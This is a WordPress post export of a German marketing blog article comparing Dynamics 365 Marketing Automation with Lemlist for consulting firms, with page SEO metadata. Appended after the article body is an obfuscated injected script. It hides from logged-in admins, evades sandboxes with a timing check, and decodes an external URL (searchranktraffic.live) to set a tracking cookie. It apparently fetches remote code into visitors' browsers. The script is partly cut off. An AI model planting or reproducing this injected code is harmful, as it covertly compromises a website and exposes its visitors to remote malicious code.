{"id":22899,"date":"2025-06-04T17:11:22","date_gmt":"2025-06-04T15:11:22","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-lemlist\/"},"modified":"2026-09-08T23:11:25","modified_gmt":"2026-09-08T21:11:25","slug":"dynamics-365-marketing-automation-vs-lemlist","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/","title":{"rendered":"Dynamics 365 Marketing Automation vs Lemlist"},"content":{"rendered":"<section class=\"l-section wpb_row height_auto\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><div class=\"wpb_text_column\"><div class=\"wpb_wrapper\"><p data-start=\"301\" data-end=\"450\">Sie investieren in Inhalte, veranstalten Webinare, sprechen Interessenten an \u2013 und trotzdem bleibt oft unklar, was aus Ihren Leads eigentlich wird.<\/p>\n<ul data-start=\"451\" data-end=\"647\">\n<li data-start=\"451\" data-end=\"489\">\n<p data-start=\"453\" data-end=\"489\">Wer hat welche Nachricht bekommen?<\/p>\n<\/li>\n<li data-start=\"490\" data-end=\"541\">\n<p data-start=\"492\" data-end=\"541\">Wann sollte nachgefasst werden \u2013 und durch wen?<\/p>\n<\/li>\n<li data-start=\"542\" data-end=\"647\">\n<p data-start=\"544\" data-end=\"647\">Und warum funktioniert die Zusammenarbeit zwischen Marketing und Vertrieb immer noch nicht reibungslos?<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"649\" data-end=\"928\">Gerade in Beratungs- und Dienstleistungsunternehmen \u2013 also in Organisationen mit hoher Projektorientierung, anspruchsvollen Zielgruppen und komplexen Sales-Prozessen \u2013 ist Marketing-Automatisierung kein Luxus, sondern Voraussetzung f\u00fcr Wachstum. Aber welches Tool passt zu Ihnen?<\/p>\n<p data-start=\"930\" data-end=\"1271\">In diesem Artikel vergleichen wir zwei L\u00f6sungen, die unterschiedlicher kaum sein k\u00f6nnten \u2013 aber eines gemeinsam haben: Sie wollen Ihr Marketing effizienter machen.\u00a0<br data-start=\"1093\" data-end=\"1096\" \/><strong data-start=\"1096\" data-end=\"1133\">Dynamics 365 Marketing Automation<\/strong> (Teil von <a href=\"https:\/\/www.inkubit.com\/en\/solutions\/microsoft-dynamics-365\/dynamics-365-customer-insights\/\">Microsoft Customer Insights<\/a>) und <strong data-start=\"1177\" data-end=\"1188\">Lemlist<\/strong>.<br data-start=\"1189\" data-end=\"1192\" \/>Wir zeigen, welche L\u00f6sung besser zu welchen Zielen, Strukturen und Teams passt.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_88 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Zwei_Tools_um_Marketing_zu_automatisieren_%E2%80%93_Dynamics_365_Marketing_Automation_vs_Lemlist\" >Zwei Tools, um Marketing zu automatisieren &#8211; Dynamics 365 Marketing Automation vs Lemlist<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Dynamics_365_Marketing_Automation\" >Dynamics 365 Marketing Automation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Lemlist\" >Lemlist<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Dynamics_365_Marketing_Automation_vs_Lemlist_Was_sind_die_eigentlichen_Herausforderungen\" >Dynamics 365 Marketing Automation vs Lemlist: Was sind die eigentlichen Herausforderungen?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Fazit_Zwei_Tools_zwei_Philosophien\" >Fazit: Zwei Tools, zwei Philosophien<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/#Unsere_Empfehlung\" >Unsere Empfehlung<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"1278\" data-end=\"1319\"><span class=\"ez-toc-section\" id=\"Zwei_Tools_um_Marketing_zu_automatisieren_%E2%80%93_Dynamics_365_Marketing_Automation_vs_Lemlist\"><\/span>Zwei Tools, um Marketing zu automatisieren &#8211; Dynamics 365 Marketing Automation vs Lemlist<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 data-start=\"1321\" data-end=\"1358\"><span class=\"ez-toc-section\" id=\"Dynamics_365_Marketing_Automation\"><\/span>Dynamics 365 Marketing Automation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1360\" data-end=\"1646\">Die Plattform richtet sich an Unternehmen, die systematisch arbeiten, Prozesse vernetzen und skalieren m\u00f6chten.<br data-start=\"1471\" data-end=\"1474\" \/>Dynamics 365 Marketing Automation (offiziell: Customer Insights \u2013 Journeys) verkn\u00fcpft Kundendaten, Vertriebssignale und Kampagnenaktivit\u00e4ten in einer integrierten Umgebung.<\/p>\n<p data-start=\"1648\" data-end=\"1689\"><strong data-start=\"1648\" data-end=\"1689\">St\u00e4rken im B2B-Dienstleistungsumfeld:<\/strong><\/p>\n<ul data-start=\"1690\" data-end=\"1921\">\n<li data-start=\"1690\" data-end=\"1733\">\n<p data-start=\"1692\" data-end=\"1733\">Komplexe Buying Center gezielt ansprechen<\/p>\n<\/li>\n<li data-start=\"1734\" data-end=\"1789\">\n<p data-start=\"1736\" data-end=\"1789\">Kampagnen f\u00fcr Events, Webinare oder ABM orchestrieren<\/p>\n<\/li>\n<li data-start=\"1790\" data-end=\"1873\">\n<p data-start=\"1792\" data-end=\"1873\">Automatisierte \u00dcbergaben an den Vertrieb (basierend auf Lead-Score oder Triggern)<\/p>\n<\/li>\n<li data-start=\"1874\" data-end=\"1921\">\n<p data-start=\"1876\" data-end=\"1921\">Transparente Customer Journeys und Reportings<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"1923\" data-end=\"1948\"><strong data-start=\"1923\" data-end=\"1946\">Typischer Use Case:<\/strong><\/p>\n<blockquote data-start=\"1949\" data-end=\"2057\">\n<p data-start=\"1951\" data-end=\"2057\">\u201eWir veranstalten regelm\u00e4\u00dfig Webinare \u2013 aber es fehlt uns die Transparenz, was danach mit Leads passiert.\u201c<\/p>\n<\/blockquote>\n<p data-start=\"2059\" data-end=\"2109\"><strong data-start=\"2059\" data-end=\"2109\">Was Dynamics 365 Marketing Automation liefert:<\/strong><\/p>\n<ul data-start=\"2110\" data-end=\"2302\">\n<li data-start=\"2110\" data-end=\"2172\">\n<p data-start=\"2112\" data-end=\"2172\">Segmentierung nach Branche, Opportunity-Status, Buyer-Rollen<\/p>\n<\/li>\n<li data-start=\"2173\" data-end=\"2206\">\n<p data-start=\"2175\" data-end=\"2206\">Automatisierte Nachfassaktionen<\/p>\n<\/li>\n<li data-start=\"2207\" data-end=\"2246\">\n<p data-start=\"2209\" data-end=\"2246\">Journey-Visualisierung und Auswertung<\/p>\n<\/li>\n<li data-start=\"2247\" data-end=\"2302\">\n<p data-start=\"2249\" data-end=\"2302\">Tiefe Integration in CRM, Outlook, Teams und Power BI<\/p>\n<\/li>\n<\/ul>\n<figure id=\"attachment_18241\" aria-describedby=\"caption-attachment-18241\" style=\"width: 1750px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"roundborder roundborderpopup wp-image-18241 size-full\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321.png\" alt=\"Dynamics 365 Marketing Automation vs Lemlist\" width=\"1750\" height=\"1010\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321.png 1750w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321-300x173.png 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321-1024x591.png 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321-600x346.png 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321-104x60.png 104w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/Project-Operations-1-e1749126650321-121x70.png 121w\" sizes=\"(max-width: 1750px) 100vw, 1750px\" \/><figcaption id=\"caption-attachment-18241\" class=\"wp-caption-text\">Dynamics 365 Marketing Automation vs Lemlist<\/figcaption><\/figure>\n<h3 data-start=\"2309\" data-end=\"2320\"><span class=\"ez-toc-section\" id=\"Lemlist\"><\/span>Lemlist<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2322\" data-end=\"2551\">Lemlist ist ein Tool f\u00fcr Unternehmen, die schneller rauswollen \u2013 vor allem mit pers\u00f6nlichem Outreach. Besonders beliebt ist es bei kleineren Sales- und Marketing-Teams, die mit wenig Ressourcen gezielte Kontakte erreichen wollen.<\/p>\n<p data-start=\"2553\" data-end=\"2583\"><strong data-start=\"2553\" data-end=\"2583\">St\u00e4rken f\u00fcr Dienstleister:<\/strong><\/p>\n<ul data-start=\"2584\" data-end=\"2850\">\n<li data-start=\"2584\" data-end=\"2651\">\n<p data-start=\"2586\" data-end=\"2651\">Kampagnen f\u00fcr Cold Outreach, Eventeinladungen oder Partnerakquise<\/p>\n<\/li>\n<li data-start=\"2652\" data-end=\"2727\">\n<p data-start=\"2654\" data-end=\"2727\">Personalisierte E-Mails mit dynamischen Platzhaltern, Bildern &amp; Sequenzen<\/p>\n<\/li>\n<li data-start=\"2728\" data-end=\"2790\">\n<p data-start=\"2730\" data-end=\"2790\">Multichannel-Outreach via E-Mail, LinkedIn &amp; Telefonaufgaben<\/p>\n<\/li>\n<li data-start=\"2791\" data-end=\"2850\">\n<p data-start=\"2793\" data-end=\"2850\">\u00dcbersichtliches Reporting (Klicks, Antworten, Conversion)<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"2852\" data-end=\"2877\"><strong data-start=\"2852\" data-end=\"2875\">Typischer Use Case:<\/strong><\/p>\n<blockquote data-start=\"2878\" data-end=\"2984\">\n<p data-start=\"2880\" data-end=\"2984\">\u201eWir m\u00f6chten gezielt 30 HR-Leiter:innen zu einem Event einladen \u2013 pers\u00f6nlich, fokussiert und effizient.\u201c<\/p>\n<\/blockquote>\n<p data-start=\"2986\" data-end=\"3010\"><strong data-start=\"2986\" data-end=\"3010\">Was Lemlist liefert:<\/strong><\/p>\n<ul data-start=\"3011\" data-end=\"3134\">\n<li data-start=\"3011\" data-end=\"3039\">\n<p data-start=\"3013\" data-end=\"3039\">Kampagnen-Setup in Minuten<\/p>\n<\/li>\n<li data-start=\"3040\" data-end=\"3081\">\n<p data-start=\"3042\" data-end=\"3081\">Klar definierte Aufgaben f\u00fcr Follow-ups<\/p>\n<\/li>\n<li data-start=\"3082\" data-end=\"3134\">\n<p data-start=\"3084\" data-end=\"3134\">Automatisierte Sequenzen und pers\u00f6nliche Ansprache<\/p>\n<\/li>\n<\/ul>\n<h2 data-start=\"3141\" data-end=\"3234\"><span class=\"ez-toc-section\" id=\"Dynamics_365_Marketing_Automation_vs_Lemlist_Was_sind_die_eigentlichen_Herausforderungen\"><\/span>Dynamics 365 Marketing Automation vs Lemlist: Was sind die eigentlichen Herausforderungen?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"3236\" data-end=\"3340\">Viele Professional Services-Unternehmen k\u00e4mpfen nicht mit Tools \u2013 sondern mit strukturellen Engp\u00e4ssen:<\/p>\n<ul data-start=\"3341\" data-end=\"3469\">\n<li data-start=\"3341\" data-end=\"3368\">\n<p data-start=\"3343\" data-end=\"3368\">Zeitmangel im Marketing<\/p>\n<\/li>\n<li data-start=\"3369\" data-end=\"3405\">\n<p data-start=\"3371\" data-end=\"3405\">fehlende Sichtbarkeit \u00fcber Leads<\/p>\n<\/li>\n<li data-start=\"3406\" data-end=\"3427\">\n<p data-start=\"3408\" data-end=\"3427\">manuelle Prozesse<\/p>\n<\/li>\n<li data-start=\"3428\" data-end=\"3469\">\n<p data-start=\"3430\" data-end=\"3469\">keine klare Verzahnung mit dem Vertrieb<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3471\" data-end=\"3565\">Diese Herausforderungen entscheiden oft mehr \u00fcber die Tool-Wahl als der reine Funktionsumfang.<\/p>\n<div class=\"_tableContainer_16hzy_1\">\n<div class=\"_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse\" tabindex=\"-1\">\n<table class=\"w-fit min-w-(--thread-content-width)\" data-start=\"3567\" data-end=\"4400\">\n<thead data-start=\"3567\" data-end=\"3670\">\n<tr data-start=\"3567\" data-end=\"3670\">\n<th data-start=\"3567\" data-end=\"3616\" data-col-size=\"md\">Herausforderung<\/th>\n<th data-start=\"3616\" data-end=\"3670\" data-col-size=\"md\">L\u00f6sungsvorteil<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"3775\" data-end=\"4400\">\n<tr data-start=\"3775\" data-end=\"3878\">\n<td data-start=\"3775\" data-end=\"3824\" data-col-size=\"md\">Wenig interne Marketingressourcen<\/td>\n<td data-start=\"3824\" data-end=\"3878\" data-col-size=\"md\"><strong data-start=\"3826\" data-end=\"3837\">Lemlist<\/strong>: schneller Output, intuitive Bedienung<\/td>\n<\/tr>\n<tr data-start=\"3879\" data-end=\"3982\">\n<td data-start=\"3879\" data-end=\"3928\" data-col-size=\"md\">Unterschiedliche Zielgruppen \/ Projekte<\/td>\n<td data-start=\"3928\" data-end=\"3982\" data-col-size=\"md\"><strong data-start=\"3930\" data-end=\"3938\">D365<\/strong>: flexible Segmentierung &amp; Buyer Mapping<\/td>\n<\/tr>\n<tr data-start=\"3983\" data-end=\"4087\">\n<td data-start=\"3983\" data-end=\"4033\" data-col-size=\"md\">Komplexe Angebote mit mehreren Entscheider:innen<\/td>\n<td data-start=\"4033\" data-end=\"4087\" data-col-size=\"md\"><strong data-start=\"4035\" data-end=\"4043\">D365<\/strong>: Journey-Steuerung f\u00fcr Buying Center<\/td>\n<\/tr>\n<tr data-start=\"4088\" data-end=\"4191\">\n<td data-start=\"4088\" data-end=\"4137\" data-col-size=\"md\">Reporting &amp; Nachvollziehbarkeit von Kampagnen<\/td>\n<td data-start=\"4137\" data-end=\"4191\" data-col-size=\"md\"><strong data-start=\"4139\" data-end=\"4147\">D365<\/strong>: datenbasiertes Journey-Tracking<\/td>\n<\/tr>\n<tr data-start=\"4192\" data-end=\"4295\">\n<td data-start=\"4192\" data-end=\"4241\" data-col-size=\"md\">Hoher Vertriebsdruck bei wenigen Leads<\/td>\n<td data-start=\"4241\" data-end=\"4295\" data-col-size=\"md\"><strong data-start=\"4243\" data-end=\"4254\">Lemlist<\/strong>: ideal f\u00fcr gezielte Direktansprache<\/td>\n<\/tr>\n<tr data-start=\"4296\" data-end=\"4400\">\n<td data-start=\"4296\" data-end=\"4346\" data-col-size=\"md\">Bestehende Microsoft-Infrastruktur<\/td>\n<td data-start=\"4346\" data-end=\"4400\" data-col-size=\"md\"><strong data-start=\"4348\" data-end=\"4356\">D365<\/strong>: nahtlose Integration in Dynamics-Umgebung<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2 data-start=\"4407\" data-end=\"4446\"><span class=\"ez-toc-section\" id=\"Fazit_Zwei_Tools_zwei_Philosophien\"><\/span>Fazit: Zwei Tools, zwei Philosophien<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"4448\" data-end=\"4517\">Beide L\u00f6sungen sind stark \u2013 aber sie folgen verschiedenen Prinzipien:<\/p>\n<p data-start=\"4519\" data-end=\"4581\"><strong data-start=\"4522\" data-end=\"4559\">Dynamics 365 Marketing Automation<\/strong> ist ideal, wenn Sie<\/p>\n<ul data-start=\"4582\" data-end=\"4755\">\n<li data-start=\"4582\" data-end=\"4648\">\n<p data-start=\"4584\" data-end=\"4648\">Kampagnen, Vertrieb und Daten systematisch verkn\u00fcpfen m\u00f6chten,<\/p>\n<\/li>\n<li data-start=\"4649\" data-end=\"4684\">\n<p data-start=\"4651\" data-end=\"4684\">mehrere Zielgruppen ansprechen,<\/p>\n<\/li>\n<li data-start=\"4685\" data-end=\"4723\">\n<p data-start=\"4687\" data-end=\"4723\">bereits Microsoft-Tools nutzen und<\/p>\n<\/li>\n<li data-start=\"4724\" data-end=\"4755\">\n<p data-start=\"4726\" data-end=\"4755\">langfristig skalieren wollen.<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"4757\" data-end=\"4794\"><strong data-start=\"4759\" data-end=\"4770\">Lemlist<\/strong> ist perfekt, wenn Sie<\/p>\n<ul data-start=\"4795\" data-end=\"4936\">\n<li data-start=\"4795\" data-end=\"4844\">\n<p data-start=\"4797\" data-end=\"4844\">Leads direkt &amp; pers\u00f6nlich ansprechen m\u00f6chten,<\/p>\n<\/li>\n<li data-start=\"4845\" data-end=\"4886\">\n<p data-start=\"4847\" data-end=\"4886\">Events oder Outreach-Kampagnen planen<\/p>\n<\/li>\n<li data-start=\"4887\" data-end=\"4936\">\n<p data-start=\"4889\" data-end=\"4936\">und ein agiles Team mit wenig Ressourcen haben.<\/p>\n<\/li>\n<\/ul>\n<h2 data-start=\"4943\" data-end=\"4963\"><span class=\"ez-toc-section\" id=\"Unsere_Empfehlung\"><\/span>Unsere Empfehlung<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"4965\" data-end=\"5141\">Wenn Sie sich aktuell fragen, welches Tool besser zu Ihren Herausforderungen passt \u2013 oder ob Sie vielleicht sogar <strong data-start=\"5079\" data-end=\"5117\">beide L\u00f6sungen kombinieren sollten<\/strong> (so wie wir!) \u2013 sprechen Sie mit uns.<\/p>\n<\/div><\/div><\/div><\/div><\/div><\/div><\/div><\/section><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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We show which solution is better suited to which goals, structures and teams.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Dynamics 365 Marketing Automation vs Lemlist\" \/>\n<meta property=\"og:description\" content=\"Dynamics 365 Marketing Automation vs Lemlist. We show which solution is better suited to which goals, structures and teams.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.inkubit.com\/en\/blog\/2025\/06\/04\/dynamics-365-marketing-automation-vs-lemlist\/\" \/>\n<meta property=\"og:site_name\" content=\"INKUBIT\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-04T15:11:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-08T21:11:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/06\/AdobeStock_600165716.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1281\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Lara S\u00f6hlke\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Lara S\u00f6hlke\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/\"},\"author\":{\"name\":\"Lara S\u00f6hlke\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\"},\"headline\":\"Dynamics 365 Marketing Automation vs Lemlist\",\"datePublished\":\"2025-06-04T15:11:22+00:00\",\"dateModified\":\"2026-09-08T21:11:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/\"},\"wordCount\":585,\"image\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/AdobeStock_600165716.jpeg\",\"articleSection\":[\"Blog\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/\",\"name\":\"Dynamics 365 Marketing Automation vs Lemlist\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2025\\\/06\\\/04\\\/dynamics-365-marketing-automation-vs-lemlist\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/06\\\/AdobeStock_600165716.jpeg\",\"datePublished\":\"2025-06-04T15:11:22+00:00\",\"dateModified\":\"2026-09-08T21:11:25+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\"},\"description\":\"Dynamics 365 Marketing Automation vs Lemlist. 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